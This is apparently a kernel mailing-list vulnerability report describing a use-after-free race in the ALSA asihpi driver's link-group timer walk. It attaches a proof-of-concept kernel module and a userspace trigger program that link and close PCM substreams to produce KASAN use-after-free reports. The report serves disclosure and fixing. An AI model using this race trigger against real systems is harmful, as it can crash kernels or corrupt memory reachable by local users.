ALSA: pcm: link-group walk in timer callback can use a closed substream's freed runtime (UAF)

[徐晗翔 <xuhx@hust.edu.cn>]

[-- Attachment #1: Type: text/plain, Size: 4714 bytes --]

`snd_card_asihpi_timer_function()` walks the PCM link group with
`snd_pcm_group_for_each_entry()` and dereferences each member's
`s->runtime->private_data`.  That macro is a plain `list_for_each_entry()`;
the callback holds no group reference and no group lock.  Close of another
linked substream can unlink/free the group and detach/free that substream's
runtime and `dpcm`, leaving the timer callback with a stale `s`/runtime
pointer.  This is reachable from user space through
`SNDRV_PCM_IOCTL_LINK` plus close, on hardware whose driver supports PCM
linking (asihpi does).

The detailed description:

* Test environment / affected version

  Linux 7.3.0 source plus a QEMU/KASAN fake-PCM harness.  No ASI6205 hardware
  was available; the harness reproduces the core group traversal and close
  ordering, with the asihpi callback's exact
  `snd_pcm_group_for_each_entry()` pattern.

* Mechanism

  The group loops are at `sound/pci/asihpi/asihpi.c:729-735` and `821-827`.
  They read `s->runtime->private_data` (and in one path `dma_area`) and call
  `snd_pcm_period_elapsed(s)`.  The macro is
  `include/sound/pcm.h:694`:

    #define snd_pcm_group_for_each_entry(s, substream) \
        list_for_each_entry(s, &substream->group->substreams, link_list)

  `snd_pcm_stream_lock_irq()` (`sound/core/pcm_native.c:140-144`) locks
  `substream->self_group`, not the group that the timer callback walks.
  `snd_pcm_unlink()` (`pcm_native.c:2370-2402`) takes
  `snd_pcm_link_rwsem` and the group lock, removes the closing substream,
  relinks the remaining streams, and may `kfree(group)`.
  `snd_pcm_release_substream()` (`pcm_native.c:2785-2805`) calls
  `pcm_release_private()` -> `snd_pcm_unlink()` at 2779-2783 before
  `snd_pcm_detach_substream()` frees the runtime and `dpcm`.

  A timer callback that already loaded member `s` or `s->runtime` can run
  after B's unlink/detach.  It may then read freed `runtime`, freed
  `private_data`, or a freed group list node; `snd_pcm_period_elapsed(s)`
  additionally takes the stale substream.

* Why existing synchronization does not close the window

  `snd_pcm_stop()` does transiently take a group reference through
  `snd_pcm_action()` -> `snd_pcm_stream_group_ref()` (`pcm_native.c:1378-1427`)
  and group lock, but it drops the reference after the STOP action.  The
  asihpi timer callback is not part of that action and holds no group
  reference.  Taking `snd_pcm_stream_lock_irq(A)` in the callback would only
  lock A's `self_group`; it would not pin B or the group.  The group can be
  freed while the callback holds a raw member pointer.

* Trigger model

  Two capture substreams A and B, same PCM and runtime state; user does
  `SNDRV_PCM_IOCTL_LINK` then starts A.  While A's timer callback is walking
  the group, user closes B.  `SNDRV_PCM_IOCTL_LINK` is available to a local
  user with the PCM device open; no special privilege is needed beyond access
  to the PCM.  Consequence: UAF in timer context, crash or memory corruption.


* How to run the PoC

  The harness is self-contained and does not need ASI6205 hardware: it creates
  a fake ALSA card with two capture substreams.  The tested configuration was
  7.3.0 with KASAN and 4 vCPU; a uniprocessor run may not overlap.

  Build against the target kernel build tree:

    printf 'obj-m := sndpci_race.o\n' > Kbuild
    make -C <kernel-build-dir> M=$PWD modules
    gcc -static -O2 -I<kernel-source>/include/uapi -o pcmtest pcmtest.c

  Put `sndpci_race.ko` and `pcmtest` into the guest initramfs/rootfs, boot the
  target kernel (QEMU/KVM recommended), then run as root:

    insmod sndpci_race.ko mode=pcm
    ./pcmtest link 200
    dmesg | grep -E 'BUG: KASAN|race_pcm_timer|victim use'

  In the minimal guest the fake card enumerates as card 0 and `pcmtest` opens
  `/dev/snd/pcmC0D0c`.  If the test machine already has another sound card,
  adjust `DEV` in `pcmtest.c` or use the QEMU initramfs.  Expected result:
  32 KASAN reports with `slab-use-after-free in race_pcm_timer` and about 114
  `victim use` lines.  


* Suggested direction 

  This needs a core/lifetime fix, not just an asihpi timer fix.  Possible
  directions: make group traversal safe against concurrent unlink (group
  reference or RCU-protected/atomic-safe iterator that pins each member's
  runtime), or provide a driver API that snapshots/refcounts members before
  the callback walks them.  On the asihpi side, quiesce the timer/IRQ before
  allowing the linked substream to detach.  Adding only
  `snd_pcm_stream_lock_irq(A)` is not sufficient because it locks A's
  `self_group`, not the group being walked.



Please keep me in Cc; I am not subscribed to the lists.


Regards,
Hanxiang Xu
xuhx@hust.edu.cn

[-- Attachment #2: sndpci_race.c --]
[-- Type: text/plain, Size: 9729 bytes --]

// SPDX-License-Identifier: GPL-2.0
/*
 * sndpci_race.c - minimal ALSA/kernel lifetime-race reproducers for the
 * sound/pci manual-review cases V3/V4/V5.
 *
 * The module deliberately reproduces the *lifetime patterns* used by
 * ctxfi/asihpi, using only exported ALSA core and timer APIs.  It is not a
 * ctxfi/asihpi emulator: those drivers need hardware that this QEMU does not
 * provide.  The purpose is to test whether the core/API windows identified in
 * the report are real on an instrumented KASAN kernel.
 *
 * modes:
 *   v3  - timer_delete_sync_try() returns -1 while the callback runs on
 *         another CPU; free the object anyway (ctxfi system-timer pattern).
 *   pcm - create a fake ALSA card with two playback substreams.  The guest
 *         program pcmtest then exercises close (V4) or link+close (V5).
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/timer.h>
#include <linux/jiffies.h>
#include <linux/delay.h>
#include <linux/kthread.h>
#include <linux/cpumask.h>
#include <linux/sched.h>
#include <linux/container_of.h>
#include <linux/string.h>
#include <linux/platform_device.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>

#define DRV "sndpci_race"
#define COOKIE 0x5a5a1234deadbeefULL

static char *mode = "pcm";
module_param(mode, charp, 0444);
static bool safe;
module_param(safe, bool, 0444);
MODULE_PARM_DESC(mode, "v3 or pcm");

/* ------------------------------------------------------------------ */
/* V3: timer_delete_sync_try() ignored -1                              */
/* ------------------------------------------------------------------ */
struct v3_obj {
	struct timer_list timer;
	u64 cookie;
	struct task_struct *thread;
};

static void v3_callback(struct timer_list *t)
{
	struct v3_obj *v = container_of(t, struct v3_obj, timer);

	/* Keep the callback alive long enough for the freeing CPU to run. */
	mdelay(20);
	pr_info(DRV ": v3 callback cookie=%#llx\n", v->cookie);
	/* Second read after the delay: the object may already be freed. */
	if (v->cookie == COOKIE)
		pr_info(DRV ": v3 callback read-after-free survived\n");
}

static int v3_thread(void *arg)
{
	struct v3_obj *v;
	int i, ret;

	for (i = 0; i < 8; i++) {
		v = kzalloc(sizeof(*v), GFP_KERNEL);
		if (!v)
			return -ENOMEM;
		v->cookie = COOKIE;
		timer_setup(&v->timer, v3_callback, 0);
		/* Pin the callback to CPU0; this thread runs on CPU1. */
		add_timer_on(&v->timer, 0);
		usleep_range(2000, 3000);
		ret = timer_delete_sync_try(&v->timer);
		pr_info(DRV ": v3 iter=%d delete_sync_try=%d\n", i, ret);
		if (ret == -1) {
			/* BUG: callback is running on CPU0; free it anyway. */
			if (safe)
				timer_delete_sync(&v->timer);
			kfree(v);
		} else {
			timer_delete_sync(&v->timer);
			kfree(v);
		}
		usleep_range(60000, 70000);
	}
	pr_info(DRV ": v3 done\n");
	return 0;
}

/* ------------------------------------------------------------------ */
/* V4/V5: fake ALSA PCM with a driver-private dpcm and a timer        */
/* ------------------------------------------------------------------ */
struct race_pcm {
	struct timer_list timer;
	struct snd_pcm_substream *substream;
	u64 cookie;
	bool respawn;
	bool active;
};

static struct snd_card *race_card;
static struct platform_device *race_pdev;
static struct snd_pcm *race_pcm_dev;

static void race_pcm_timer(struct timer_list *t)
{
	struct race_pcm *dpcm = container_of(t, struct race_pcm, timer);
	struct snd_pcm_substream *s;
	struct snd_pcm_runtime *victim_rt = NULL;
	u64 cookie;

	if (!dpcm->active)
		return;
	pr_info(DRV ": timer start dpcm=%px\n", dpcm);

	/*
	 * V5 pattern: walk the link group without the group lock and read
	 * each member's runtime/private_data.  V4 uses the same callback for
	 * the current stream; the delay widens the close/free window.
	 */
	cookie = dpcm->cookie;
	if (cookie == COOKIE && dpcm->substream && dpcm->substream->runtime) {
		snd_pcm_group_for_each_entry(s, dpcm->substream) {
			struct snd_pcm_runtime *rt = READ_ONCE(s->runtime);
			struct race_pcm *d = NULL;

			if (rt)
				d = READ_ONCE(rt->private_data);
			if (d && d->cookie == COOKIE) {
				/* Force the compiler to keep the load. */
				barrier();
			}
			if (rt) {
				(void)READ_ONCE(rt->dma_area);
				if (s != dpcm->substream && !victim_rt)
					victim_rt = rt;
			}
			/* A real driver also reports elapsed periods. */
			if (rt)
				snd_pcm_period_elapsed(s);
		}
	}

	/* Widen the window between the callback's load and the free. */
	mdelay(20);
	if (victim_rt) {
		struct race_pcm *d = READ_ONCE(victim_rt->private_data);

		pr_info(DRV ": victim use rt=%px d=%px\n", victim_rt, d);
		(void)READ_ONCE(victim_rt->dma_area);
	}
	pr_info(DRV ": timer end dpcm=%px\n", dpcm);
	if (dpcm->respawn) {
		if (!timer_pending(&dpcm->timer))
			add_timer_on(&dpcm->timer, 0);
		else
			mod_timer(&dpcm->timer, jiffies + 1);
	}
}

static void race_pcm_free(struct snd_pcm_runtime *runtime)
{
	struct race_pcm *dpcm = runtime->private_data;

	pr_info(DRV ": pcm private_free dpcm=%px\n", dpcm);
	if (safe)
		timer_shutdown_sync(&dpcm->timer);
	kfree(dpcm);
}

static int race_pcm_open(struct snd_pcm_substream *substream)
{
	struct snd_pcm_runtime *runtime = substream->runtime;
	struct race_pcm *dpcm;

	dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
	if (!dpcm)
		return -ENOMEM;
	dpcm->substream = substream;
	dpcm->cookie = COOKIE;
	timer_setup(&dpcm->timer, race_pcm_timer, 0);
	runtime->private_data = dpcm;
	runtime->private_free = race_pcm_free;
	runtime->hw.info = SNDRV_PCM_INFO_MMAP |
			   SNDRV_PCM_INFO_INTERLEAVED |
			   SNDRV_PCM_INFO_MMAP_VALID;
	runtime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;
	runtime->hw.rates = SNDRV_PCM_RATE_44100;
	runtime->hw.rate_min = 44100;
	runtime->hw.rate_max = 44100;
	runtime->hw.channels_min = 2;
	runtime->hw.channels_max = 2;
	runtime->hw.buffer_bytes_max = 64 * 1024;
	runtime->hw.period_bytes_min = 1024;
	runtime->hw.period_bytes_max = 4096;
	runtime->hw.periods_min = 2;
	runtime->hw.periods_max = 8;
	pr_info(DRV ": pcm open sub=%px dpcm=%px\n", substream, dpcm);
	return 0;
}

static int race_pcm_close(struct snd_pcm_substream *substream)
{
	pr_info(DRV ": pcm .close sub=%px\n", substream);
	return 0;
}

static int race_pcm_ioctl(struct snd_pcm_substream *substream,
			  unsigned int cmd, void *arg)
{
	pr_info(DRV ": pcm ioctl cmd=%u\n", cmd);
	return snd_pcm_lib_ioctl(substream, cmd, arg);
}

static int race_pcm_hw_params(struct snd_pcm_substream *substream,
			      struct snd_pcm_hw_params *params)
{
	pr_info(DRV ": hw_params rate=%u ch=%u fmt=%u period_bytes=%u buffer_bytes=%u\n",
		params_rate(params), params_channels(params), params_format(params),
		params_period_bytes(params), params_buffer_bytes(params));
	return 0;
}

static int race_pcm_prepare(struct snd_pcm_substream *substream)
{
	return 0;
}

static int race_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
{
	struct race_pcm *dpcm = substream->runtime->private_data;

	switch (cmd) {
	case SNDRV_PCM_TRIGGER_START:
	case SNDRV_PCM_TRIGGER_RESUME:
		if (substream != race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream)
			break;
		dpcm->active = true;
		dpcm->respawn = true;
		if (!timer_pending(&dpcm->timer))
			add_timer_on(&dpcm->timer, 0);
		else
			mod_timer(&dpcm->timer, jiffies + 1);
		break;
	case SNDRV_PCM_TRIGGER_STOP:
	case SNDRV_PCM_TRIGGER_SUSPEND:
		dpcm->active = false;
		dpcm->respawn = false;
		/* Deliberately not timer_delete_sync(): mirrors asihpi. */
		timer_delete(&dpcm->timer);
		break;
	}
	return 0;
}

static snd_pcm_uframes_t race_pcm_pointer(struct snd_pcm_substream *substream)
{
	return 0;
}

static const struct snd_pcm_ops race_pcm_ops = {
	.open = race_pcm_open,
	.close = race_pcm_close,
	.ioctl = race_pcm_ioctl,
	.hw_params = race_pcm_hw_params,
	.prepare = race_pcm_prepare,
	.trigger = race_pcm_trigger,
	.pointer = race_pcm_pointer,
};

static int __init sndpci_init(void)
{
	struct task_struct *t;
	int ret;

	pr_info(DRV ": init mode=%s\n", mode);

	if (!strcmp(mode, "v3")) {
		t = kthread_create(v3_thread, NULL, "sndpci_v3");
		if (IS_ERR(t))
			return PTR_ERR(t);
		kthread_bind(t, 1);
		wake_up_process(t);
		return 0;
	}

	race_pdev = platform_device_register_simple("sndpci_race", -1, NULL, 0);
	if (IS_ERR(race_pdev))
		return PTR_ERR(race_pdev);
	ret = snd_card_new(&race_pdev->dev, 0, "SndPciRace", THIS_MODULE, 0, &race_card);
	if (ret < 0) {
		pr_err(DRV ": snd_card_new failed: %d\n", ret);
		return ret;
	}
	ret = snd_pcm_new(race_card, "SndPciRace", 0, 0, 2, &race_pcm_dev);
	if (ret < 0) {
		pr_err(DRV ": snd_pcm_new failed: %d\n", ret);
		snd_card_free(race_card);
		return ret;
	}
	snd_pcm_set_ops(race_pcm_dev, SNDRV_PCM_STREAM_CAPTURE,
			&race_pcm_ops);
	snd_pcm_lib_preallocate_pages_for_all(race_pcm_dev, SNDRV_DMA_TYPE_CONTINUOUS,
						      NULL, 64 * 1024, 64 * 1024);
	ret = 0;
	pr_info(DRV ": managed_buffer ret=%d dma_type=%d area=%px bytes=%zu\n", ret,
		race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.dev.type,
		race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.area,
		race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.bytes);
	ret = snd_card_register(race_card);
	if (ret < 0) {
		pr_err(DRV ": snd_card_register failed: %d\n", ret);
		snd_card_free(race_card);
		return ret;
	}
	pr_info(DRV ": card registered\n");
	return 0;
}

static void __exit sndpci_exit(void)
{
	pr_info(DRV ": exit\n");
	if (race_card)
		snd_card_free(race_card);
	if (race_pdev)
		platform_device_unregister(race_pdev);
}

module_init(sndpci_init);
module_exit(sndpci_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/pci lifetime-race reproducer (V3/V4/V5)");

[-- Attachment #3: pcmtest.c --]
[-- Type: text/plain, Size: 3737 bytes --]

#define _GNU_SOURCE
// SPDX-License-Identifier: GPL-2.0
/*
 * pcmtest.c - guest-side exerciser for sndpci_race.ko.
 *
 * Usage:
 *   pcmtest close [iters]  - open/start/close one playback substream (V4)
 *   pcmtest link  [iters]  - link two playback substreams, close B while
 *                            the A timer callback walks the group (V5)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <limits.h>
#include <sched.h>
#include <sound/asound.h>

#define DEV "/dev/snd/pcmC0D0c"

static int set_hw_params(int fd)
{
	struct snd_pcm_hw_params p;
	int i, ret;

	memset(&p, 0, sizeof(p));
	for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_MASK -
			SNDRV_PCM_HW_PARAM_FIRST_MASK; i++)
		memset(&p.masks[i], 0xff, sizeof(p.masks[i]));
	for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_INTERVAL -
			SNDRV_PCM_HW_PARAM_FIRST_INTERVAL; i++) {
		p.intervals[i].min = 0;
		p.intervals[i].max = UINT_MAX;
		p.intervals[i].integer = 0;
	}
	p.rmask = ~0U;
	ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, &p);
	printf("HW_REFINE ret=%d errno=%d\n", ret, errno);
	if (ret < 0)
		return -1;
	printf("refined: rate=%u ch=%u fmt=%u ps=%u periods=%u bs=%u\n",
	       p.intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
	       p.intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
	       __builtin_ctz(p.masks[SNDRV_PCM_HW_PARAM_FORMAT].bits[0]),
	       p.intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
	       p.intervals[SNDRV_PCM_HW_PARAM_PERIODS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
	       p.intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min);
	ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, &p);
	if (ret < 0) {
		fprintf(stderr, "HW_PARAMS: %s\n", strerror(errno));
		return -1;
	}
	return 0;
}

static int open_stream(void)
{
	int fd = open(DEV, O_RDWR | O_NONBLOCK);

	if (fd < 0)
		fprintf(stderr, "open %s: %s\n", DEV, strerror(errno));
	return fd;
}

static int prepare_stream(int fd)
{
	if (set_hw_params(fd) < 0)
		return -1;
	if (ioctl(fd, SNDRV_PCM_IOCTL_PREPARE, 0) < 0) {
		fprintf(stderr, "PREPARE: %s\n", strerror(errno));
		return -1;
	}
	return 0;
}

static int start_stream(int fd)
{
	if (ioctl(fd, SNDRV_PCM_IOCTL_START, 0) < 0) {
		fprintf(stderr, "START: %s\n", strerror(errno));
		return -1;
	}
	return 0;
}

static int one_close(void)
{
	int fd = open_stream();

	if (fd < 0)
		return -1;
	if (prepare_stream(fd) < 0 || start_stream(fd) < 0) {
		close(fd);
		return -1;
	}
	usleep(10000);
	close(fd);
	return 0;
}

static int one_link(void)
{
	int a = open_stream();
	int b = open_stream();

	if (a < 0 || b < 0)
		return -1;
	if (prepare_stream(a) < 0 || prepare_stream(b) < 0)
		goto out;
	if (ioctl(a, SNDRV_PCM_IOCTL_LINK, b) < 0) {
		fprintf(stderr, "LINK: %s\n", strerror(errno));
		goto out;
	}
	if (start_stream(a) < 0)
		goto out;
	/* Let the A timer callback start walking the linked group. */
	usleep(1500);
	/* Close B while A's callback may be in the group loop. */
	close(b);
	b = -1;
	usleep(1500);
out:
	if (b >= 0)
		close(b);
	if (a >= 0)
		close(a);
	return 0;
}

int main(int argc, char **argv)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(1, &set);
	sched_setaffinity(0, sizeof(set), &set);
	int i, n = 200;

	if (argc < 2) {
		fprintf(stderr, "usage: %s close|link [iters]\n", argv[0]);
		return 2;
	}
	if (argc > 2)
		n = atoi(argv[2]);
	printf("pcmtest: mode=%s iters=%d\n", argv[1], n);
	for (i = 0; i < n; i++) {
		if (!strcmp(argv[1], "link")) {
			if (one_link() < 0)
				break;
		} else {
			if (one_close() < 0)
				break;
		}
	}
	printf("pcmtest: done i=%d\n", i);
	return 0;
}